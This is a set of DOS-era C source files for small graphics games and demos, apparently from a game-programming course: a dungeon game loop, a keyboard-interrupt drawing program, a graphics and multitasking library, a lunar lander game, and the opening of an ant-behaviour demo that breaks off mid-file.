player.motion_clock = 0;
// test if death is over
if (++player.curr_frame==21)
{
done=1;
player.state=PLAYER_DEAD;
player.curr_frame--;
Delay(40);
} // end if player is dead
} // end if ok to animate
} // end else if dying
// test if player should be killed
if (health==0 && !start_death)
{
// set player to dying
player.state = PLAYER_DYING;
// set up sprite structure
player.curr_frame = 16;
player.motion_clock = 0;
player.motion_speed = 5;
// play his last words
Play_Sound(SOUND_DEATH);
// flag that player has moaned
start_death=1;
} // end if player has had it!
// move everything
Move_Arrows();
Move_Fireballs();
Animate_Explosions();
Move_Bat();
Move_Monsters();
// translate player and perform collision detection
player.x+=dx;
player.y+=dy;
// save old screen position
old_screen_x = screen_x;
old_screen_y = screen_y;
// first test if player has moved off screen and we need to make a screen
// change
if (player.x>224-16)
{
if (++screen_x>3)
{
screen_x=3;
player.x=224-16;
}
else
{
screen_change=1;
player.x=0;
} // end else warp
} // end if off right edge
else
if (player.x<0)
{
if (--screen_x<0)
{
screen_x=0;
player.x=0;
}
else
{
screen_change=1;
player.x=224-16;
} // end else warp
} // end if off left edge
if (player.y>190-16)
{
if (++screen_y>3)
{
screen_y=3;
player.y=190-16;
}
else
{
screen_change=1;
player.y=0;
} // end else warp
} // end if off bottom edge
else
if (player.y<0)
{
if (--screen_y<0)
{
screen_y=0;
player.y=0;
}
else
{
screen_change=1;
player.y=190-16;
} // end else warp
} // end if off top edge
else
{
// obtain cell location of players feet since this is a pseudo 3-D view
// and his feet are more meaningful than his center
cell_x = (player.x+8) >> 4; // divide by 16 since cells are 16x16 pixels
cell_y = (player.y+14) >> 4;
// what is the cell at this location
cell_id = world[screen_y][screen_x].cells[cell_y][cell_x];
// is this cell a wall or obstruction?
if (cell_id < 32)
{
// back player up
player.x-=dx;
player.y-=dy;
} // end if hit obstacle
else
{ // player must be touching either a floor tile or a potion, food..
// test which id the player has touched
switch(cell_id)
{
case SILVER_ID:
{
// increase amount of silver and update data structure
// along with visual bitmap
silver_pieces+=100+rand()%50;
// position bitmap and upodate screen
floors.x = cell_x << 4;
floors.y = cell_y << 4;
floors.curr_frame = 0;
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&floors);
// update database
world[screen_y][screen_x].cells[cell_y][cell_x] = FLOOR_1_ID;
// play a sound
Play_Sound(SOUND_MONEY );
} break;
case GOLD_ID:
{
// increase amount of gold and update data structure
// along with visual bitmap
gold_pieces+=100+rand()%50;
// position bitmap and upodate screen
floors.x = cell_x << 4;
floors.y = cell_y << 4;
floors.curr_frame = 0;
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&floors);
// update database
world[screen_y][screen_x].cells[cell_y][cell_x] = FLOOR_1_ID;
// play a sound
Play_Sound(SOUND_MONEY );
} break;
case POTION_ID:
{
// increase number of potions and update data structure
// along with visual bitmap
number_potions++;
// position bitmap and upodate screen
floors.x = cell_x << 4;
floors.y = cell_y << 4;
floors.curr_frame = 0;
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&floors);
// update control panel
floors.x = 268;
floors.y = 176;
floors.curr_frame = 4;
Draw_Sprite_DB((sprite_ptr)&floors);
// update database
world[screen_y][screen_x].cells[cell_y][cell_x] = FLOOR_1_ID;
// play a sound
Play_Sound(SOUND_POTION);
} break;
case FOOD_ID:
{
// increase amount of health and update data structure
// along with visual bitmap
health=health+10+rand()%5;
// max health out a 100 percent
if (health>100) health=100;
// position bitmap and upodate screen
floors.x = cell_x << 4;
floors.y = cell_y << 4;
floors.curr_frame = 0;
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&floors);
// update database
world[screen_y][screen_x].cells[cell_y][cell_x] = FLOOR_1_ID;
// play a sound
Play_Sound(SOUND_EAT );
} break;
case ARROWS_ID:
{
// increase number of arrows and update data structure
// along with visual bitmap
num_arrows+=10;
// position bitmap and upodate screen
floors.x = cell_x << 4;
floors.y = cell_y << 4;
floors.curr_frame = 0;
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&floors);
// update database
world[screen_y][screen_x].cells[cell_y][cell_x] = FLOOR_1_ID;
// play a sound
Play_Sound(SOUND_FARROW );
} break;
case EXIT_ID: // archer is trying to exit
{
// exit if dagger found
if (dagger_found)
done=1;
} break;
case DAGGER_ID: // player has found the dagger
{
// position bitmap and upodate screen
floors.x = cell_x << 4;
floors.y = cell_y << 4;
floors.curr_frame = 0;
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&floors);
// update control panel
floors.x = 268+18;
floors.y = 176;
floors.curr_frame = 8;
Draw_Sprite_DB((sprite_ptr)&floors);
// update database
world[screen_y][screen_x].cells[cell_y][cell_x] = FLOOR_1_ID;
// note that the dagger has been found
dagger_found=1;
// play the sound
Play_Sound(SOUND_DAGGER);
Delay(50);
// increase the players score
players_score+=1000;
} break;
default:break;
} // end switch
} // end else test for special objects
} // end else no screen warp
// start things up here
Control_Bat();
// has there been a screen change
if (screen_change)
{
// need to scroll over to the next page
// kill all weapons
Init_Arrows();
Init_Fireballs();
// kill any explosions
Init_Explosions();
// first save the monsters positions in the database
Save_Monsters(old_screen_x,old_screen_y);
// now draw the screen
Draw_Screen(screen_x,screen_y);
// now start the monsters
Start_Monsters(screen_x,screen_y);
} // end if screen change
// scan background under objects
SET_SPRITE_SIZE(16,16);
Behind_Sprite_DB((sprite_ptr)&player);
// scan under arrows
Behind_Arrows();
Behind_Fireballs();
Behind_Explosions();
Behind_Bat();
Behind_Monsters();
// draw objects
Draw_Arrows();
Draw_Fireballs();
Draw_Monsters();
// now draw the player
SET_SPRITE_SIZE(16,16);
Draw_Sprite_DB((sprite_ptr)&player);
Draw_Explosions();
Draw_Bat();
// draw statistics
Draw_Stats();
// display double buffer
Show_Double_Buffer((char far *)double_buffer);
// do color effects
Glow_Dagger();
// wait a sec
Delay(1);
} // end while
// remove keyboard driver
Delete_Keyboard();
// were out of here, test if we should say the good message or the bad one
if (health==0 || !dagger_found || done==2)
{
// allow sound system to play a sound
start_death=0;
// play the end message
Play_Sound(SOUND_END);
// make sure player has heard it
Delay(150);
} // end if archer failed
else
{ // player did well
// allow sound system to play a sound
start_death=0;
// play the goal message
Play_Sound(SOUND_GOAL);
// put up goal screen
Do_Goal();
} // put up happy screen
// exit system with a cool transition
Melt();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
// close sound system
Close_Sound_System();
printf("\nVenture shut down...");
printf("\nAll resources released...exiting back to DOS.\n");
} // end main
<file_sep>/day_03/DRAW.C
// This is a crude drawing program which allows the user to select
// colors and draw with the arrow keys
// Author: <NAME>
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include "graph3.h"
// G L O B A L S //////////////////////////////////////////////////////////////
unsigned char color[] = { 0x00, //black
0x0f, //white
0x28, //red
0x2f, //green
0x20, //blue
0x2a, //orange
0x2c, //yellow
0x23, //purple
0x06, //brown
0x19 //gray
};
int cur_color = 0x0f; //current color
int cx, cy; //cursor position
int done = 0; //set to true when it is time to exit
// D E F I N E S /////////////////////////////////////////////////////////////
// begin keyboard stuff
#define KEYBOARD_INT 0x09 // the keyboard interrupt number
#define KEY_BUFFER 0x60 // the buffer port
#define KEY_CONTROL 0x61 // the controller port
#define INT_CONTROL 0x20 // the interrupt controller
#define ESC_KEY 129
#define ONE_KEY 2
#define ZERO_KEY 11
#define KEY_UP 72
#define KEY_DOWN 80
#define KEY_LEFT 75
#define KEY_RIGHT 77
// P R O T O T Y P E S //////////////////////////////////////////////////////
void _interrupt _far New_Key_Int(void);
void draw_swatch(int x, int y, unsigned char color);
// F U N C T I O N S //////////////////////////////////////////////////////////
void main()
{
int x, i;
void (_interrupt _far *Old_Isr)(); // holds old keyboard interrupt handler
// install our ISR
Old_Isr = _dos_getvect(KEYBOARD_INT);
_dos_setvect(KEYBOARD_INT, New_Key_Int);
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
cx = 159;
cy = 99;
//draw the color keys
i=1;
x=0;
for(i=1; i<=10; i++, x+= 32)
{
draw_swatch(x, 192, color[i%10]);
}
Blit_String(0, 192, 0x07, " 1 2 3 4 5 6 7 8 9 0", 1);
while(!done) {
Delay(1);
}
// replace old ISR
_dos_setvect(KEYBOARD_INT, Old_Isr);
// reset back set video mode to 320x200 256 color mode
Set_Video_Mode(TEXT_MODE);
}
void _interrupt _far New_Key_Int(void)
{
int raw_key;
// I'm in the mood for some inline!
_asm
{
sti ; re-enable interrupts
in al, KEY_BUFFER ; get the key that was pressed
xor ah,ah ; zero out upper 8 bits of AX
mov raw_key, ax ; store the key in global
in al, KEY_CONTROL ; set the control register
or al, 82h ; set the proper bits to reset the FF
out KEY_CONTROL,al ; send the new data back to the control register
and al,7fh
out KEY_CONTROL,al ; complete the reset
mov al,20h
out INT_CONTROL,al ; re-enable interrupts
; when this baby hits 88 mph, your gonna see
; some serious @#@#$%
} // end inline assembly
//respond to the key presses
if(raw_key == ESC_KEY) {
done = 1;
} else if(raw_key >= ONE_KEY && raw_key <= ZERO_KEY) {
//convert to index
raw_key -= ONE_KEY;
raw_key++;
if(raw_key == 10) { raw_key = 0; }
//select the color
cur_color = color[raw_key];
} else if( raw_key == KEY_UP) {
cy--;
} else if( raw_key == KEY_DOWN) {
cy++;
} else if( raw_key == KEY_LEFT) {
cx--;
} else if( raw_key == KEY_RIGHT) {
cx++;
}
//draw after each keypress
Plot_Pixel_Fast(cx, cy, cur_color);
} // end New_Key_Int
void draw_swatch(int x, int y, unsigned char color)
{
int right=x+32;
int bottom=y+8;
int py;
for(x; x<right; x++) {
for(py=y; py<bottom; py++) {
Plot_Pixel_Fast(x, py, color);
}
}
}
<file_sep>/WGAMELIB/GRAPH11.C
// I N C L U D E S ////////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include graphics our stuff
#include "graph4.h"
#include "graph5.h"
#include "graph6.h"
#include "graph11.h"
// G L O B A L S /////////////////////////////////////////////////////////////
void (_interrupt _far *Old_Key_Isr)(); // holds old keyboard interrupt handler
int raw_key; // the global raw keyboard data
// the arrow key state table
int key_table[NUM_KEYS] = {0,0,0,0,0,0,0,0,0,0};
void (_interrupt far *Old_Time_Isr)(); // used to hold old interrupt vector
// multi-tasking stuff
task tasks[MAX_TASKS]; // this is the task list for the system
int num_tasks = 0; // tracks number of active tasks
// F U N C T I O N S //////////////////////////////////////////////////////////
void _interrupt _far New_Key_Int()
{
// read the key from the hardware and then re-enable the keyboard to
// read another key
_asm
{
sti ; re-enable interrupts
in al, KEY_BUFFER ; get the key that was pressed
xor ah,ah ; zero out upper 8 bits of AX
mov raw_key, ax ; store the key in global variable
in al, KEY_CONTROL ; set the control register
or al, 82h ; set the proper bits to reset the keyboard flip flop
out KEY_CONTROL,al ; send the new data back to the control register
and al,7fh
out KEY_CONTROL,al ; complete the reset
mov al,20h
out INT_CONTROL,al ; re-enable interrupts
; this is not really needed since we are using the
; C _interrupt function type, it does this for us,
; however, it's a good habit to get into and can't
; hurt
} // end inline assembly
// now for some C to update the arrow state table
// process the key and update the key state table
switch(raw_key)
{
case MAKE_UP: // pressing up
{
key_table[INDEX_UP] = 1;
} break;
case MAKE_DOWN: // pressing down
{
key_table[INDEX_DOWN] = 1;
} break;
case MAKE_RIGHT: // pressing right
{
key_table[INDEX_RIGHT] = 1;
} break;
case MAKE_LEFT: // pressing left
{
key_table[INDEX_LEFT] = 1;
} break;
case MAKE_ENTER: // pressing enter
{
key_table[INDEX_ENTER] = 1;
} break;
case MAKE_TAB : // pressing tab
{
key_table[INDEX_TAB ] = 1;
} break;
case MAKE_SPACE : // pressing space
{
key_table[INDEX_SPACE ] = 1;
} break;
case MAKE_CTRL : // pressing control
{
key_table[INDEX_CTRL ] = 1;
} break;
case MAKE_ALT : // pressing alt
{
key_table[INDEX_ALT ] = 1;
} break;
case MAKE_ESC : // pressing escape
{
key_table[INDEX_ESC ] = 1;
} break;
case BREAK_UP: // releasing up
{
key_table[INDEX_UP] = 0;
} break;
case BREAK_DOWN: // releasing down
{
key_table[INDEX_DOWN] = 0;
} break;
case BREAK_RIGHT: // releasing right
{
key_table[INDEX_RIGHT] = 0;
} break;
case BREAK_LEFT: // releasing left
{
key_table[INDEX_LEFT] = 0;
} break;
case BREAK_ENTER: // releasing enter
{
key_table[INDEX_ENTER] = 0;
} break;
case BREAK_TAB : // releasing tab
{
key_table[INDEX_TAB ] = 0;
} break;
case BREAK_SPACE : // releasing space
{
key_table[INDEX_SPACE ] = 0;
} break;
case BREAK_CTRL : // releasing control
{
key_table[INDEX_CTRL ] = 0;
} break;
case BREAK_ALT : // releasing alt
{
key_table[INDEX_ALT ] = 0;
} break;
case BREAK_ESC : // releasing escape
{
key_table[INDEX_ESC ] = 0;
} break;
default: break;
} // end switch
// note how we don't chain interrupts, we want total control of the keyboard
// however, if you wanted to chain then you would make a call to the old
// keyboard handler right here.
} // end New_Key_Int
///////////////////////////////////////////////////////////////////////////////
void Install_Keyboard(void)
{
Old_Key_Isr = _dos_getvect(KEYBOARD_INT);
_dos_setvect(KEYBOARD_INT, New_Key_Int);
} // end Install_Keyboard
///////////////////////////////////////////////////////////////////////////////
void Delete_Keyboard(void)
{
_dos_setvect(KEYBOARD_INT, Old_Key_Isr);
} // end Delete_Keyboard
///////////////////////////////////////////////////////////////////////////////
void Initialize_Kernal(void)
{
// this function will set up the task list and prepare for it to be populated
int index; // loop variable
for (index=0; index<MAX_TASKS; index++)
{
// set id to current location in list
tasks[index].id = index;
// set to inactive
tasks[index].state = TASK_INACTIVE;
// set function pointer to NULL;
tasks[index].task = NULL;
} // end for index
} // end Initialize_Kernal
///////////////////////////////////////////////////////////////////////////////
void Start_Kernal(void)
{
// install our time keeper ISR while saving old one
Old_Time_Isr = _dos_getvect(TIME_KEEPER_INT);
_dos_setvect(TIME_KEEPER_INT, Multi_Kernal);
} // end Start_Kernal
///////////////////////////////////////////////////////////////////////////////
void Stop_Kernal(void)
{
// replace old time keeper ISR
_dos_setvect(TIME_KEEPER_INT, Old_Time_Isr);
} // end Stop_Kernal
//////////////////////////////////////////////////////////////////////////////
int Add_Task(void (far *function)())
{
// this function will add the task to the task list and return it's id number
// which can be used to delete it. If the function returns -1 then the
// task list is full and no more tasks can be added
int index;
for (index=0; index<MAX_TASKS; index++)
{
// try and find an inactive task
if (tasks[index].state == TASK_INACTIVE)
{
// load new task into this position
tasks[index].state = TASK_ACTIVE;
tasks[index].id = index;
tasks[index].task = function; // assign function pointer
// adjust global task monitor
num_tasks++;
// return id to caller
return(tasks[index].id);
} // end if found an inactive task
} // end for index
// if we got this far then there are no free spots...bummer
return(-1);
} // end Add_Task
///////////////////////////////////////////////////////////////////////////////
int Delete_Task(int id)
{
// this function will try to delete a task from the task list, if the function
// is successful, it will return 1 else it will return 0.
if (tasks[id].state == TASK_ACTIVE)
{
// kill task and return success
tasks[id].task = NULL;
tasks[id].state = TASK_INACTIVE;
// decrement number of active tasks
num_tasks--;
return(1);
} // end if task can be deleted
else
{
// couldn't delete task
return(0);
} // end task already dead
} // end Delete_Task
///////////////////////////////////////////////////////////////////////////////
void _interrupt far Multi_Kernal(void)
{
// this function will call all of the task in a round robin manner such that
// only one task will be called per interrupt. note: ther must be at least
// one active task in the task list
static int current_task=0; // current_task to be executed by kernal
// test if there are any tasks at all
if (num_tasks>0)
{
// find an active task
while(tasks[current_task].state!=TASK_ACTIVE)
{
// move to next task and round robin if at end of task list
if (++current_task>=MAX_TASKS)
current_task=0;
} // end search for active task
// at this point we have an active task so call it
tasks[current_task].task(); // weird looking huh!
// now we need to move to the next possible task
if (++current_task>=MAX_TASKS)
current_task=0;
} // end if there are any tasks
// chain to old ISR (play nice with the other children)
Old_Time_Isr();
} // end Multi_Kernal
///////////////////////////////////////////////////////////////////////////////
void Change_Timer(unsigned int new_count)
{
// send the control word, mode 2, binary, least/most load sequence
_outp(CONTROL_8253, CONTROL_WORD);
// now write the least significant byte to the counter register
_outp(COUNTER_0,LOW_BYTE(new_count));
// and now the the most significant byte
_outp(COUNTER_0,HI_BYTE(new_count));
} // end Change_Timer
///////////////////////////////////////////////////////////////////////////////
<file_sep>/day_03/PROFILE.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
unsigned long int count;
//do fast pixel load
printf("Fast Mode");
getch();
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
for(count=0; count < 1000000; count++) {
Plot_Pixel_Fast(159,99,0x0C);
}
Set_Video_Mode(TEXT_MODE);
//do normal pixel load
printf("normal Mode");
getch();
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
for(count=0; count < 1000000; count++) {
Plot_Pixel(159,99,0x0C);
}
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_11/lunar.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph5.h"
#include "graph6.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define KEYBOARD_INT 0x09 // the keyboard interrupt number
#define KEY_BUFFER 0x60 // the location of the keyboard buffer
#define KEY_CONTROL 0x61 // the location of the keyboard controller
#define INT_CONTROL 0x20 // the location of the interrupt controller
// make and break codes for the arrow keys (note the make codes are the
// same as the scan codes and the break codes are just the scan codes plus
// 128. For example the scan code for the UP key is 72 which is the make
// code. if we add 128 to this then the result is 128+72 = 200.
// arrow keys
#define MAKE_RIGHT 77
#define MAKE_LEFT 75
#define MAKE_UP 72
#define MAKE_DOWN 80
// some useful control keys
#define MAKE_ENTER 28
#define MAKE_TAB 15
#define MAKE_SPACE 57
#define MAKE_CTRL 29
#define MAKE_ALT 56
#define MAKE_ESC 1
// and now the break codes
#define BREAK_RIGHT 205
#define BREAK_LEFT 203
#define BREAK_UP 200
#define BREAK_DOWN 208
#define BREAK_ENTER 156
#define BREAK_TAB 143
#define BREAK_SPACE 185
#define BREAK_CTRL 157
#define BREAK_ALT 184
#define BREAK_ESC 129
// indices into arrow key state table
#define INDEX_UP 0
#define INDEX_DOWN 1
#define INDEX_RIGHT 2
#define INDEX_LEFT 3
#define INDEX_ENTER 4
#define INDEX_TAB 5
#define INDEX_SPACE 6
#define INDEX_CTRL 7
#define INDEX_ALT 8
#define INDEX_ESC 9
#define NUM_KEYS 10 // number of keys in look up table
// G L O B A L S /////////////////////////////////////////////////////////////
void (_interrupt _far *Old_Key_Isr)(); // holds old keyboard interrupt handler
int raw_key; // the global raw keyboard data
// the arrow key state table
int key_table[NUM_KEYS] = {0,0,0,0,0,0,0,0,0,0};
// globals for the demo
int land_sx = 160, // starting x of the landing pad
land_ex = 180, // ending x of the landing pad
land_y = 170; // the y position of the platform
float lander_xv = 0, // the initial velocity of the lunar lander
lander_yv = 0,
fuel = 1000; // initial load of fuel
int right_engine = 0, // these track which engines need to be displayed
left_engine = 0,
up_engine = 0,
down_engine = 0;
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprite used in the game
sprite lander; // the lunar lander
// F U N C T I O N S ////////////////////////////////////////////////////////
void _interrupt _far New_Key_Int()
{
// read the key from the hardware and then re-enable the keyboard to
// read another key
_asm
{
sti ; re-enable interrupts
in al, KEY_BUFFER ; get the key that was pressed
xor ah,ah ; zero out upper 8 bits of AX
mov raw_key, ax ; store the key in global variable
in al, KEY_CONTROL ; set the control register
or al, 82h ; set the proper bits to reset the keyboard flip flop
out KEY_CONTROL,al ; send the new data back to the control register
and al,7fh
out KEY_CONTROL,al ; complete the reset
mov al,20h
out INT_CONTROL,al ; re-enable interrupts
; this is not really needed since we are using the
; C _interrupt function type, it does this for us,
; however, it's a good habit to get into and can't
; hurt
} // end inline assembly
// now for some C to update the arrow state table
// process the key and update the key state table
switch(raw_key)
{
case MAKE_UP: // pressing up
{
key_table[INDEX_UP] = 1;
} break;
case MAKE_DOWN: // pressing down
{
key_table[INDEX_DOWN] = 1;
} break;
case MAKE_RIGHT: // pressing right
{
key_table[INDEX_RIGHT] = 1;
} break;
case MAKE_LEFT: // pressing left
{
key_table[INDEX_LEFT] = 1;
} break;
case MAKE_ENTER: // pressing enter
{
key_table[INDEX_ENTER] = 1;
} break;
case MAKE_TAB : // pressing tab
{
key_table[INDEX_TAB ] = 1;
} break;
case MAKE_SPACE : // pressing space
{
key_table[INDEX_SPACE ] = 1;
} break;
case MAKE_CTRL : // pressing control
{
key_table[INDEX_CTRL ] = 1;
} break;
case MAKE_ALT : // pressing alt
{
key_table[INDEX_ALT ] = 1;
} break;
case MAKE_ESC : // pressing escape
{
key_table[INDEX_ESC ] = 1;
} break;
case BREAK_UP: // releasing up
{
key_table[INDEX_UP] = 0;
} break;
case BREAK_DOWN: // releasing down
{
key_table[INDEX_DOWN] = 0;
} break;
case BREAK_RIGHT: // releasing right
{
key_table[INDEX_RIGHT] = 0;
} break;
case BREAK_LEFT: // releasing left
{
key_table[INDEX_LEFT] = 0;
} break;
case BREAK_ENTER: // releasing enter
{
key_table[INDEX_ENTER] = 0;
} break;
case BREAK_TAB : // releasing tab
{
key_table[INDEX_TAB ] = 0;
} break;
case BREAK_SPACE : // releasing space
{
key_table[INDEX_SPACE ] = 0;
} break;
case BREAK_CTRL : // releasing control
{
key_table[INDEX_CTRL ] = 0;
} break;
case BREAK_ALT : // releasing alt
{
key_table[INDEX_ALT ] = 0;
} break;
case BREAK_ESC : // releasing escape
{
key_table[INDEX_ESC ] = 0;
} break;
default: break;
} // end switch
// note how we don't chain interrupts, we want total control of the keyboard
// however, if you wanted to chain then you would make a call to the old
// keyboard handler right here.
} // end New_Key_Int
///////////////////////////////////////////////////////////////////////////////
void Install_Keyboard(void)
{
Old_Key_Isr = _dos_getvect(KEYBOARD_INT);
_dos_setvect(KEYBOARD_INT, New_Key_Int);
} // end Install_Keyboard
///////////////////////////////////////////////////////////////////////////////
void Delete_Keyboard(void)
{
_dos_setvect(KEYBOARD_INT, Old_Key_Isr);
} // end Delete_Keyboard
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // system exit flag
index, // looping variable
score; // used to compute score
char string[80]; // used for printing
// SECTION 1 /////////////////////////////////////////////////////////////////
// install the keyboard driver
Install_Keyboard();
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// SECTION 2 /////////////////////////////////////////////////////////////////
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("moon.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
// load in imagery for lunar lander
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("lander.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract bitmaps
sprite_width = 16;
sprite_height = 16;
Sprite_Init((sprite_ptr)&lander,0,0,0,0,0,0);
for (index=0; index<5; index++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&lander,index,index,0);
// set position of lander
lander.x = 100;
lander.y = 10;
lander.curr_frame = 0;
lander.state = 1;
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// scan background under lander
Behind_Sprite_DB((sprite_ptr)&lander);
// SECTION 3 /////////////////////////////////////////////////////////////////
// main event loop
while(!done)
{
// erase the lander
Erase_Sprite_DB((sprite_ptr)&lander);
// transform the lander, notice how we look at the keyboard state table
// reset current frame of lander and active engines
lander.curr_frame = 0;
right_engine = left_engine = down_engine = up_engine = 0;
// now we will look into the keyboard table to see what keys are being
// pressed, note that this table is updated not by the main(), but by
// the keyboard interrupt, this allows us to track multiple keys
// simulataneously
// SECTION 4 /////////////////////////////////////////////////////////////////
// test if user is exiting
if (key_table[INDEX_ESC]) done=1;
// test the motion keys
if (key_table[INDEX_RIGHT])
{
// increase x velocity
lander_xv+=.1;
// limit velocity
if (lander_xv>3)
lander_xv=3;
// set engine flag
right_engine = 1;
// expend fuel
fuel-=.5;
} // end if
if (key_table[INDEX_LEFT])
{
// decrease x velocity
lander_xv-=.1;
// limit velocity
if (lander_xv<-3)
lander_xv=-3;
// set engine flag
left_engine = 1;
// expend fuel
fuel-=.5;
} // end if
if (key_table[INDEX_UP])
{
// decrease y velocity
lander_yv-=.1;
// limit velocity
if (lander_yv<-3)
lander_yv=-3;
// set engine flag
up_engine = 1;
// expend fuel
fuel-=.5;
} // end if
if (key_table[INDEX_DOWN])
{
// increase y velocity
lander_yv+=.1;
// limit velocity
if (lander_yv>4)
lander_yv=4;
// set engine flag
down_engine = 1;
// expend fuel
fuel-=.5;
} // end if
// SECTION 5 /////////////////////////////////////////////////////////////////
// based on current velocity, move lander
lander.x = lander.x + (int)(lander_xv+.5);
lander.y = lander.y + (int)(lander_yv+.5);
// check if lander has moved off screen boundary
// x tests
if (lander.x > 320-16)
lander.x = 0;
else
if (lander.x < 0)
lander.x = 320-16;
// y tests
if (lander.y > 190-16)
lander.y = 190-16;
else
if (lander.y < 0)
lander.y = 0;
// SECTION 6 /////////////////////////////////////////////////////////////////
// apply gravity
lander_yv+=.05;
if (lander_yv>3)
lander_yv=3;
// expend fuel
fuel-=.02;
// draw the lander
Behind_Sprite_DB((sprite_ptr)&lander);
// SECTION 7 /////////////////////////////////////////////////////////////////
// based on the engines that are on, draw the lander
// always draw the standard lander without engines first
lander.curr_frame = 0;
Draw_Sprite_DB((sprite_ptr)&lander);
// draw any engines that are on
if (right_engine)
{
lander.curr_frame = 2;
Draw_Sprite_DB((sprite_ptr)&lander);
} // end if
if (left_engine)
{
lander.curr_frame = 3;
Draw_Sprite_DB((sprite_ptr)&lander);
} // end if
if (up_engine)
{
lander.curr_frame = 1;
Draw_Sprite_DB((sprite_ptr)&lander);
} // end if
if (down_engine)
{
lander.curr_frame = 4;
Draw_Sprite_DB((sprite_ptr)&lander);
} // end if
// SECTION 8 /////////////////////////////////////////////////////////////////
// draw indicators
if (fuel<0) fuel=0;
sprintf(string,"Fuel = %.2f ",fuel);
Blit_String_DB(10,2,10,string,0);
sprintf(string,"XV = %.2f ",lander_xv);
Blit_String_DB(10,12,10,string,0);
sprintf(string,"YV = %.2f ",lander_yv);
Blit_String_DB(10,22,10,string,0);
// show the double buffer
Show_Double_Buffer(double_buffer);
// wait a while
Delay(1);
// SECTION 9 /////////////////////////////////////////////////////////////////
// test if the lander has landed
if (lander.x >= 245 && lander.x <= (266-16) && lander.y >= (185-16) &&
lander_yv < 2.0)
{
// print banner
Blit_String(2,60,15,"T H E E A G L E H A S L A N D E D!",1);
// compute score based on fuel and velocity
score = (int)(fuel*10 - lander_yv * 100);
if (score < 0) score = 0;
sprintf(string,"Score was %d",score);
Blit_String(100,110,15,string,1);
// wait a second
Delay(100);
// fade everything
Fade_Lights();
// exit system
done=1;
} // end if the lander has landed
} // end while
// SECTION 10 ////////////////////////////////////////////////////////////////
// delete the keyboard driver
Delete_Keyboard();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_10/antsrus.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define CELL_WIDTH 20 // size of bitmaps in world
#define CELL_HEIGHT 20
#define NUM_ROWS 10 // number of rows and columns in terrain
#define NUM_COLUMNS 16
#define NUM_ANTS 20 // this should be enough (has to be multiple of 2)
#define NUM_PATTERNS 3 // there are 3 patterns
#define PATTERN_LENGTH 25 // at most patterns have 25 elements in them
// direction of ant
#define ANT_UP 0
#define ANT_DOWN 2
#define ANT_RIGHT 4
#define ANT_LEFT 6
// state of ants
#define ANT_MARCH 0
#define ANT_RANDOM 1
#define ANT_PATTERN 2
#define ANT_SITTING 3
// S T R U C T U R E S ///////////////////////////////////////////////////////
typedef struct ant_typ
{
int dir; // direction of ant
int state; // state of ant
int count_1; // counter one
int count_2; // counter two
int max_1; // maximum count for counter 1
int max_2; // maximum count for counter 2
int index_1; // general index
int index_2; // general index
} ant, *ant_ptr;
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite ants[NUM_ANTS], // the ant sprites
rock; // the "rock" sprite
ant ant_data[NUM_ANTS]; // the ant data structures
// this array is a probability density of the different states
int ant_personality[10] = {
ANT_MARCH, // 60% of the time march up and down
ANT_MARCH,
ANT_MARCH,
ANT_MARCH,
ANT_MARCH,
ANT_MARCH,
ANT_RANDOM, // 10% of the time random
ANT_PATTERN, // 20% of the time try a pattern
ANT_PATTERN,
